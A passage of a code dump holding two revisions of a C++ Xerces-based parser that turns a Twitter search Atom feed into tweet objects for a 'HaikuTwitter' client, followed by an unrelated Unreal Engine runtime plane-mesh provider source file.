&TAG_text );\n XMLString::release( &TAG_username );\n XMLString::release( &TAG_user );\n XMLString::release( &TAG_image);\n XMLString::release( &TAG_date );\n XMLString::release( &TAG_id );\n XMLString::release( &TAG_error );\n try\n {\n XMLPlatformUtils::Terminate(); \/\/ Terminate Xerces\n }\n catch( xercesc::XMLException& e )\n {\n char* message = xercesc::XMLString::transcode( e.getMessage() );\n\n cerr << \"XML ttolkit teardown error: \" << message << endl;\n XMLString::release( &message );\n }\n \n for(int i = 0; i < numberOfEntries; i++) {\n \t\tdelete tweetPtr[i];\n }\n delete tweetPtr;\n}\n\nint SearchParser::count() {\n\treturn numberOfEntries;\n}\n\nHTTweet** SearchParser::getTweets() {\n\t\n\treturn tweetPtr;\n}\n\n\/**\n * This function:\n * - Tests the access and availability of the XML configuration file.\n * - Configures the xerces-c DOM parser.\n * - Reads and extracts the pertinent information from the XML config file.\n *\n * @param in configFile The text string name of the HLA configuration file.\n *\/\n\nvoid SearchParser::readData(const char *xmlData)\n throw( std::runtime_error )\n{\n \/\/ Configure DOM parser.\n\n m_ConfigFileParser->setValidationScheme( XercesDOMParser::Val_Never );\n m_ConfigFileParser->setDoNamespaces( false );\n m_ConfigFileParser->setDoSchema( false );\n m_ConfigFileParser->setLoadExternalDTD( false );\n\n try\n {\n \t\t\/\/ Creating a memory buffer inputsource for the parser\n \t\tconst char *chId = std::string(\"TimeLineData\").c_str();\n \t\tMemBufInputSource memSource((XMLByte *)xmlData, (XMLSize_t)strlen(xmlData)*sizeof(char), chId);\n \t\t\n \t\tstd::cout << \"Passing buffer to parser\" << std::endl;\n m_ConfigFileParser->parse( memSource );\n\n \/\/ no need to free this pointer - owned by the parent parser object\n DOMDocument* xmlDoc = m_ConfigFileParser->getDocument();\n\n \/\/ Get the top-level element: NAme is \"root\". No attributes for \"root\"\n \n DOMElement* elementRoot = xmlDoc->getDocumentElement();\n if( !elementRoot ) {\n \t\tstring theName(\"HaikuTwitter\");\n \t\tstring theText(\"Could not retrieve data. Please check your internet connection.\");\n \t\tstring theUrl(\"error\");\n \t\tstring theDate(\"\");\n \t\ttweetPtr = new HTTweet*[1];\n \t\ttweetPtr[0] = new HTTweet(theName, theText, theUrl, theDate);\n \t\tnumberOfEntries++;\n \t\treturn;\n }\n \n \/\/ Parse XML file for tags of interest: \"error\"\n\t\tDOMNodeList* statusNodes = elementRoot->getElementsByTagName(TAG_error);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < statusNodes->getLength(); i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_error))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\t\/*Transcode to UTF-8*\/\n \t\tXMLTransService::Codes resValue;\n \t\tXMLByte utf8String[150];\n \t\tXMLSize_t blabla = 0;\n \t\tXMLTranscoder *t = XMLPlatformUtils::fgTransService->makeNewTranscoderFor(\"UTF-8\", resValue, 150);\n \t\tt->transcodeTo(textNode->getWholeText(), (XMLSize_t)150, utf8String, (XMLSize_t)150, blabla, XMLTranscoder::UnRep_Throw);\n \t\tdelete t;\n \t\tstring textString((char *)utf8String);\n\t\t\t\t\tstring theName(\"HaikuTwitter\");\n \t\t\t\tstring theUrl(\"error\");\n \t\t\t\tstring theDate(\"\");\n \t\t\t\ttweetPtr = new HTTweet*[1];\n \t\t\t\ttweetPtr[0] = new HTTweet(theName, textString, theUrl, theDate);\n \t\t\t\tnumberOfEntries++;\n \t\t\t\treturn;\n \t}\n \t}\n\t\t}\n\t\t\n \/\/ Parse XML file for tags of interest: \"text\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_text);\n\t\tXMLSize_t nodeCount = statusNodes->getLength();\n\t\ttweetPtr = new HTTweet*[nodeCount];\n\t\t\n\t\tfor(XMLSize_t i = 1; i < nodeCount; i++) { \/\/We skip first item (item 0), not interested in atom main title\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_text))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\t\/*Transcode to UTF-8*\/\n \t\tXMLTransService::Codes resValue;\n \t\tXMLByte utf8String[150];\n \t\tXMLSize_t blabla = 0;\n \t\tXMLTranscoder *t = XMLPlatformUtils::fgTransService->makeNewTranscoderFor(\"UTF-8\", resValue, 150);\n \t\tt->transcodeTo(textNode->getWholeText(), (XMLSize_t)150, utf8String, (XMLSize_t)150, blabla, XMLTranscoder::UnRep_Throw);\n \t\tdelete t;\n \t\t \t\t\n \t\tstring textString((char *)utf8String);\n \t\ttextString.erase(textString.length()-5, 5); \/\/Last three chars is garbage!\n \t\ttweetPtr[numberOfEntries] = new HTTweet();\n \t\ttweetPtr[numberOfEntries]->setText(textString);\n \t\tnumberOfEntries++;\n \t}\n \t}\n\t\t}\n\n\t\tnodeCount--; \/\/Because we skipped item(0)\n\t\t\n\t\t\/\/ Parse XML file for tags of interest: \"id\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_id);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_id))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\/\/Remove last character, holds ugly symbol.\n \t\t\/\/rawString[strlen(rawString)-5] = '\\0';\n \t\t\n \t\ttweetPtr[i]->setId(atoi(rawString));\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\n\t\t\/\/ Parse XML file for tags of interest: \"screen_name\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_username);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_username))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\n \t\t\/*Remove last 11 or 9 characters, junk.*\/\n \t\tif(i < nodeCount-1)\n \t\t\trawString[strlen(rawString)-11] = '\\0';\n \t\telse\n \t\t\trawString[strlen(rawString)-9] = '\\0';\n \t\t\n \t\tstring textString(rawString+19); \/\/Skip \"http:\/\/twitter.com\/\" and we've got the username\n \t\t\n \t\ttweetPtr[i]->setScreenName(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\n\t\t\/\/ Parse XML file for tags of interest: \"link\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_image);\n\t\t\/\/Result will give us 5 links in header that we don't care about.\n\t\t\/\/If there is more than 14 entries, we will get a link to the next page, so skip that too.\n\t\tint skipCount = 5;\n\t\tif(nodeCount > 14)\n\t\t\tskipCount++;\n\t\t\n\t\tfor(XMLSize_t i = skipCount; i < (nodeCount*2)+skipCount; i+=2) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_image))\n \t{\n \t\tconst XMLCh* href = currentElement->getAttribute(ATTR_href);\n \t\tchar *rawString = XMLString::transcode(href);\n \t\t\n \t\tstring textString(rawString);\n \t\ttweetPtr[(i-skipCount)\/2]->setProfileImageUrl(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\t\t\n\t\t\/\/ Parse XML file for tags of interest: \"published\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_date);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_date))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\/\/Remove last character, holds ugly symbol.\n \t\trawString[strlen(rawString)-3] = '\\0';\n \t\t\n \t\tstring textString(rawString);\n \t\ttweetPtr[i]->setPublishedDate(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n }\n catch( xercesc::XMLException& e )\n {\n char* message = xercesc::XMLString::transcode( e.getMessage() );\n ostringstream errBuf;\n errBuf << \"Error parsing file: \" << message << flush;\n XMLString::release( &message );\n }\n std::cout << \"Done parsing XML\" << std::endl;\n}\nFixed bug that crashed the app when parsing for profile images on certain searches.#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"SearchParser.h\"\n\nusing namespace xercesc;\nusing namespace std;\n\n\/\/ Error codes\n\nenum {\n ERROR_ARGS = 1, \n ERROR_XERCES_INIT,\n ERROR_PARSE,\n ERROR_EMPTY_DOCUMENT\n};\n\n\/**\n * Constructor initializes xerces-C libraries.\n * The XML tags and attributes which we seek are defined.\n * The xerces-C DOM parser infrastructure is initialized.\n *\/\n\nSearchParser::SearchParser()\n{\n try\n {\n XMLPlatformUtils::Initialize(); \/\/ Initialize Xerces infrastructure\n }\n catch( XMLException& e )\n {\n char* message = XMLString::transcode( e.getMessage() );\n cerr << \"XML toolkit initialization error: \" << message << endl;\n XMLString::release( &message );\n \/\/ throw exception here to return ERROR_XERCES_INIT\n }\n\n \/\/ Tags and attributes used in XML file.\n \/\/ Can't call transcode till after Xerces Initialize()\n TAG_root = XMLString::transcode(\"feed\");\n TAG_status = XMLString::transcode(\"entry\");\n TAG_text = XMLString::transcode(\"title\");\n TAG_user = XMLString::transcode(\"name\");\n TAG_username = XMLString::transcode(\"uri\"); \/\/Using the instead of get us around some encoding bugs:)\n TAG_image = XMLString::transcode(\"link\");\n TAG_date = XMLString::transcode(\"published\");\n TAG_id = XMLString::transcode(\"id\");\n TAG_error = XMLString::transcode(\"error\");\n ATTR_href = XMLString::transcode(\"href\");\n\n m_ConfigFileParser = new XercesDOMParser;\n tweetPtr = NULL;\n numberOfEntries = 0;\n}\n\n\/**\n * Class destructor frees memory used to hold the XML tag and \n * attribute definitions. It als terminates use of the xerces-C\n * framework.\n *\/\n\nSearchParser::~SearchParser()\n{\n delete m_ConfigFileParser;\n XMLString::release( &TAG_root );\n XMLString::release( &TAG_status );\n XMLString::release( &TAG_text );\n XMLString::release( &TAG_username );\n XMLString::release( &TAG_user );\n XMLString::release( &TAG_image);\n XMLString::release( &TAG_date );\n XMLString::release( &TAG_id );\n XMLString::release( &TAG_error );\n try\n {\n XMLPlatformUtils::Terminate(); \/\/ Terminate Xerces\n }\n catch( xercesc::XMLException& e )\n {\n char* message = xercesc::XMLString::transcode( e.getMessage() );\n\n cerr << \"XML ttolkit teardown error: \" << message << endl;\n XMLString::release( &message );\n }\n \n for(int i = 0; i < numberOfEntries; i++) {\n \t\tdelete tweetPtr[i];\n }\n delete tweetPtr;\n}\n\nint SearchParser::count() {\n\treturn numberOfEntries;\n}\n\nHTTweet** SearchParser::getTweets() {\n\t\n\treturn tweetPtr;\n}\n\n\/**\n * This function:\n * - Tests the access and availability of the XML configuration file.\n * - Configures the xerces-c DOM parser.\n * - Reads and extracts the pertinent information from the XML config file.\n *\n * @param in configFile The text string name of the HLA configuration file.\n *\/\n\nvoid SearchParser::readData(const char *xmlData)\n throw( std::runtime_error )\n{\n \/\/ Configure DOM parser.\n\n m_ConfigFileParser->setValidationScheme( XercesDOMParser::Val_Never );\n m_ConfigFileParser->setDoNamespaces( false );\n m_ConfigFileParser->setDoSchema( false );\n m_ConfigFileParser->setLoadExternalDTD( false );\n\n try\n {\n \t\t\/\/ Creating a memory buffer inputsource for the parser\n \t\tconst char *chId = std::string(\"TimeLineData\").c_str();\n \t\tMemBufInputSource memSource((XMLByte *)xmlData, (XMLSize_t)strlen(xmlData)*sizeof(char), chId);\n \t\t\n \t\tstd::cout << \"Passing buffer to parser\" << std::endl;\n m_ConfigFileParser->parse( memSource );\n\n \/\/ no need to free this pointer - owned by the parent parser object\n DOMDocument* xmlDoc = m_ConfigFileParser->getDocument();\n\n \/\/ Get the top-level element: NAme is \"root\". No attributes for \"root\"\n \n DOMElement* elementRoot = xmlDoc->getDocumentElement();\n if( !elementRoot ) {\n \t\tstring theName(\"HaikuTwitter\");\n \t\tstring theText(\"Could not retrieve data. Please check your internet connection.\");\n \t\tstring theUrl(\"error\");\n \t\tstring theDate(\"\");\n \t\ttweetPtr = new HTTweet*[1];\n \t\ttweetPtr[0] = new HTTweet(theName, theText, theUrl, theDate);\n \t\tnumberOfEntries++;\n \t\treturn;\n }\n \n \/\/ Parse XML file for tags of interest: \"error\"\n\t\tDOMNodeList* statusNodes = elementRoot->getElementsByTagName(TAG_error);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < statusNodes->getLength(); i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_error))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\t\/*Transcode to UTF-8*\/\n \t\tXMLTransService::Codes resValue;\n \t\tXMLByte utf8String[150];\n \t\tXMLSize_t blabla = 0;\n \t\tXMLTranscoder *t = XMLPlatformUtils::fgTransService->makeNewTranscoderFor(\"UTF-8\", resValue, 150);\n \t\tt->transcodeTo(textNode->getWholeText(), (XMLSize_t)150, utf8String, (XMLSize_t)150, blabla, XMLTranscoder::UnRep_Throw);\n \t\tdelete t;\n \t\tstring textString((char *)utf8String);\n\t\t\t\t\tstring theName(\"HaikuTwitter\");\n \t\t\t\tstring theUrl(\"error\");\n \t\t\t\tstring theDate(\"\");\n \t\t\t\ttweetPtr = new HTTweet*[1];\n \t\t\t\ttweetPtr[0] = new HTTweet(theName, textString, theUrl, theDate);\n \t\t\t\tnumberOfEntries++;\n \t\t\t\treturn;\n \t}\n \t}\n\t\t}\n\t\t\n \/\/ Parse XML file for tags of interest: \"text\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_text);\n\t\tXMLSize_t nodeCount = statusNodes->getLength();\n\t\ttweetPtr = new HTTweet*[nodeCount];\n\t\t\n\t\tfor(XMLSize_t i = 1; i < nodeCount; i++) { \/\/We skip first item (item 0), not interested in atom main title\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_text))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\t\/*Transcode to UTF-8*\/\n \t\tXMLTransService::Codes resValue;\n \t\tXMLByte utf8String[150];\n \t\tXMLSize_t blabla = 0;\n \t\tXMLTranscoder *t = XMLPlatformUtils::fgTransService->makeNewTranscoderFor(\"UTF-8\", resValue, 150);\n \t\tt->transcodeTo(textNode->getWholeText(), (XMLSize_t)150, utf8String, (XMLSize_t)150, blabla, XMLTranscoder::UnRep_Throw);\n \t\tdelete t;\n \t\t \t\t\n \t\tstring textString((char *)utf8String);\n \t\ttextString.erase(textString.length()-5, 5); \/\/Last three chars is garbage!\n \t\ttweetPtr[numberOfEntries] = new HTTweet();\n \t\ttweetPtr[numberOfEntries]->setText(textString);\n \t\tnumberOfEntries++;\n \t}\n \t}\n\t\t}\n\n\t\tnodeCount--; \/\/Because we skipped item(0)\n\t\t\n\t\t\/\/ Parse XML file for tags of interest: \"id\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_id);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_id))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\/\/Remove last character, holds ugly symbol.\n \t\t\/\/rawString[strlen(rawString)-5] = '\\0';\n \t\t\n \t\ttweetPtr[i]->setId(atoi(rawString));\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\n\t\t\/\/ Parse XML file for tags of interest: \"screen_name\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_username);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_username))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\n \t\t\/*Remove last 11 or 9 characters, junk.*\/\n \t\tif(i < nodeCount-1)\n \t\t\trawString[strlen(rawString)-11] = '\\0';\n \t\telse\n \t\t\trawString[strlen(rawString)-9] = '\\0';\n \t\t\n \t\tstring textString(rawString+19); \/\/Skip \"http:\/\/twitter.com\/\"... and we've got the username:)\n \t\t\n \t\ttweetPtr[i]->setScreenName(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\n\t\t\/\/ Parse XML file for tags of interest: \"link\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_image);\n\t\t\/\/Result will give us 5 links in header that we don't care about.\n\t\tint skipCount = 5;\n\t\t\n\t\tfor(XMLSize_t i = skipCount; i < (nodeCount*2)+skipCount; i+=2) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_image))\n \t{\n \t\tconst XMLCh* href = currentElement->getAttribute(ATTR_href);\n \t\tchar *rawString = XMLString::transcode(href);\n \t\t\n \t\tstring textString(rawString);\n \t\tif(textString.find(\"statuses\", 0) != std::string::npos) { \/\/There was an extra link the header\n \t\t\ti--; \/\/Step back\n \t\t\tskipCount++; \/\/Skip the extra header link.\n \t\t}\n \t\telse\n \t\t\ttweetPtr[(i-skipCount)\/2]->setProfileImageUrl(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n\t\t\n\t\t\/\/ Parse XML file for tags of interest: \"published\"\n\t\tstatusNodes = elementRoot->getElementsByTagName(TAG_date);\n\t\t\n\t\tfor(XMLSize_t i = 0; i < nodeCount; i++) {\n\t\t\tDOMNode* currentNode = statusNodes->item(i);\n \tif( currentNode->getNodeType() && \/\/ true is not NULL\n \tcurrentNode->getNodeType() == DOMNode::ELEMENT_NODE ) \/\/ is element \n \t{\n \t\/\/ Found node which is an Element. Re-cast node as element\n \tDOMElement* currentElement\n \t = dynamic_cast< xercesc::DOMElement* >( currentNode );\n \tif( XMLString::equals(currentElement->getTagName(), TAG_date))\n \t{\n \t\tDOMText* textNode\n \t\t\t\t= dynamic_cast< xercesc::DOMText* >( currentElement->getChildNodes()->item(0) );\n \t\t\n \t\tchar *rawString = XMLString::transcode(textNode->getWholeText());\n \t\t\/\/Remove last character, holds ugly symbol.\n \t\trawString[strlen(rawString)-3] = '\\0';\n \t\t\n \t\tstring textString(rawString);\n \t\ttweetPtr[i]->setPublishedDate(textString);\n \t\tdelete rawString;\n \t}\n \t}\n\t\t}\n }\n catch( xercesc::XMLException& e )\n {\n char* message = xercesc::XMLString::transcode( e.getMessage() );\n ostringstream errBuf;\n errBuf << \"Error parsing file: \" << message << flush;\n XMLString::release( &message );\n }\n std::cout << \"Done parsing XML\" << std::endl;\n}\n<|endoftext|>"} {"text":"\/\/ Copyright 2016-2019 Chris Conway (Koderz). All Rights Reserved.\n\n\n#include \"RuntimeMeshProviderPlane.h\"\n\n\nFRuntimeMeshProviderPlaneProxy::FRuntimeMeshProviderPlaneProxy(TWeakObjectPtr InParent)\n\t: FRuntimeMeshProviderProxy(InParent)\n{\n\n}\n\nFRuntimeMeshProviderPlaneProxy::~FRuntimeMeshProviderPlaneProxy()\n{\n\n}\n\nvoid FRuntimeMeshProviderPlaneProxy::UpdateProxyParameters(URuntimeMeshProvider* ParentProvider, bool bIsInitialSetup)\n{\n\tURuntimeMeshProviderPlane* PlaneProvider = Cast(ParentProvider);\n\tMarkCollisionDirty();\n\tif (LocationA != PlaneProvider->LocationA || LocationB != PlaneProvider->LocationB || LocationC != PlaneProvider->LocationC)\n\t{\n\t\tLocationA = PlaneProvider->LocationA;\n\t\tLocationB = PlaneProvider->LocationB;\n\t\tLocationC = PlaneProvider->LocationC;\n\t\tMarkSectionDirty(INDEX_NONE, 0); \/\/Mark all LODs dirty\n\t}\n\tbool bHasParameterChanged = false;\n\tTArray VertsABBefore = VertsAB, VertsACBefore = VertsAC;\n\tif (VertsAB != PlaneProvider->VertsAB)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tVertsAB = PlaneProvider->VertsAB;\n\t}\n\tif (VertsAC != PlaneProvider->VertsAC)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tVertsAC = PlaneProvider->VertsAC;\n\t}\n\tif (ScreenSize != PlaneProvider->ScreenSize)\n\t{\n\t\tbHasParameterChanged = true;\n\t\tScreenSize = PlaneProvider->ScreenSize;\n\t}\n\tMaterial = PlaneProvider->Material;\n\tint32 MaxLODBefore = MaxLOD;\n\tMaxLOD = GetMaximumPossibleLOD();\n\tif (!bIsInitialSetup && bHasParameterChanged)\n\t{\n\t\tfor (int32 LODIndex = 0; LODIndex <= MaxLOD; LODIndex++)\n\t\t{\n\t\t\tFRuntimeMeshLODProperties LODProperties;\n\t\t\tLODProperties.ScreenSize = LODIndex >= ScreenSize.Num() ? 0.0 : ScreenSize[LODIndex];\n\t\t\tConfigureLOD(LODIndex, LODProperties);\n\n\t\t\tif (LODIndex >= MaxLODBefore) \/\/Section is new\n\t\t\t{\n\t\t\t\tFRuntimeMeshSectionProperties Properties;\n\t\t\t\tProperties.bCastsShadow = true;\n\t\t\t\tProperties.bIsVisible = true;\n\t\t\t\tProperties.MaterialSlot = 0;\n\t\t\t\tProperties.UpdateFrequency = ERuntimeMeshUpdateFrequency::Infrequent;\n\t\t\t\tCreateSection(LODIndex, 0, Properties);\n\t\t\t}\n\t\t\telse if(VertsAB[LODIndex] != VertsABBefore[LODIndex] || VertsAC[LODIndex] != VertsACBefore[LODIndex])\n\t\t\t{\n\t\t\t\tMarkSectionDirty(LODIndex, 0);\n\t\t\t}\n\t\t}\n\t\tfor (int32 LODIndex = MaxLOD; LODIndex < MaxLODBefore; LODIndex++)\n\t\t{\n\t\t\tRemoveSection(LODIndex, 0);\n\t\t}\n\t}\n\t\n}\n\nvoid FRuntimeMeshProviderPlaneProxy::Initialize()\n{\n\tfor (int32 LODIndex = 0; LODIndex <= MaxLOD; LODIndex++)\n\t{\n\t\tFRuntimeMeshLODProperties LODProperties;\n\t\tLODProperties.ScreenSize = LODIndex >= ScreenSize.Num() ? 0.0 : ScreenSize[LODIndex];\n\t\tConfigureLOD(LODIndex, LODProperties);\n\t\t\n\t\tFRuntimeMeshSectionProperties Properties;\n\t\tProperties.bCastsShadow = true;\n\t\tProperties.bIsVisible = true;\n\t\tProperties.MaterialSlot = 0;\n\t\tProperties.UpdateFrequency = ERuntimeMeshUpdateFrequency::Infrequent;\n\t\tCreateSection(LODIndex, 0, Properties);\n\n\t}\n\tSetupMaterialSlot(0, FName(\"Plane Base\"), Material.Get());\n}\n\n\nbool FRuntimeMeshProviderPlaneProxy::GetSectionMeshForLOD(int32 LODIndex, int32 SectionId, FRuntimeMeshRenderableMeshData& MeshData)\n{\n\t\/\/ We should only ever be queried for section 0\n\tcheck(SectionId == 0 && LODIndex <= MaxLOD);\n\t\/\/UE_LOG(LogTemp, Log, TEXT(\"Asking for LOD index %i, VertsAB len = %i, VertsAC len = %i\"), LODIndex, VertsAB.Num(), VertsAC.Num());\n\t\/\/return true;\n\tint32 NumVertsAB = VertsAB[LODIndex], NumVertsAC = VertsAC[LODIndex];\n\tFVector ABDirection = (LocationB - LocationA) \/ (NumVertsAB - 1);\n\tFVector ACDirection = (LocationC - LocationA) \/ (NumVertsAB - 1);\n\tFVector Normal = (ACDirection ^ ABDirection).GetUnsafeNormal();\n\tFVector Tangent = ABDirection.GetUnsafeNormal();\n\tFColor Color = FColor::White;\n\tfor (int32 ACIndex = 0; ACIndex < NumVertsAC; ACIndex++)\n\t{\n\t\tfor (int32 ABIndex = 0; ABIndex < NumVertsAB; ABIndex++)\n\t\t{\n\t\t\tFVector Location = LocationA + ABDirection * ABIndex + ACDirection * ACIndex;\n\t\t\tFVector2D TexCoord = FVector2D(ABIndex \/ NumVertsAB, ACIndex \/ NumVertsAC);\n\t\t\tMeshData.Positions.Add(Location);\n\t\t\tMeshData.Tangents.Add(Normal, Tangent);\n\t\t\tMeshData.Colors.Add(Color);\n\t\t\tMeshData.TexCoords.Add(TexCoord);\n\t\t\tif (ABIndex != NumVertsAB - 1 && ACIndex != NumVertsAC - 1)\n\t\t\t{\n\t\t\t\tint32 AIndex = ABIndex + ACIndex * NumVertsAB;\n\t\t\t\tint32 BIndex = AIndex + 1;\n\t\t\t\tint32 CIndex = AIndex + NumVertsAB;\n\t\t\t\tint32 DIndex = CIndex + 1;\n\t\t\t\tMeshData.Triangles.AddTriangle(AIndex, CIndex, BIndex);\n\t\t\t\tMeshData.Triangles.AddTriangle(BIndex, CIndex, DIndex);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true;\n}\n\nFRuntimeMeshCollisionSettings FRuntimeMeshProviderPlaneProxy::GetCollisionSettings()\n{\n\tFRuntimeMeshCollisionSettings Settings;\n\tSettings.bUseAsyncCooking = false;\n\tSettings.bUseComplexAsSimple = true;\n\t \t \n\treturn Settings;\n}\n\nbool FRuntimeMeshProviderPlaneProxy::HasCollisionMesh()\n{\n\treturn false;\n}\n\nbool FRuntimeMeshProviderPlaneProxy::GetCollisionMesh(FRuntimeMeshCollisionData& CollisionData)\n{\n\treturn false;\n}\n\nURuntimeMeshProviderPlane::URuntimeMeshProviderPlane()\n{\n\tLocationA = FVector(100, -100, 0);\n\tLocationB = FVector(100, 100, 0);\n\tLocationC = FVector(-100, -100, 0);\n\tVertsAB = TArray({100,10,1});\n\tVertsAC = TArray({100,10,1});\n\tScreenSize = TArray({ 0.1,0.01 });\n}Plane provider now 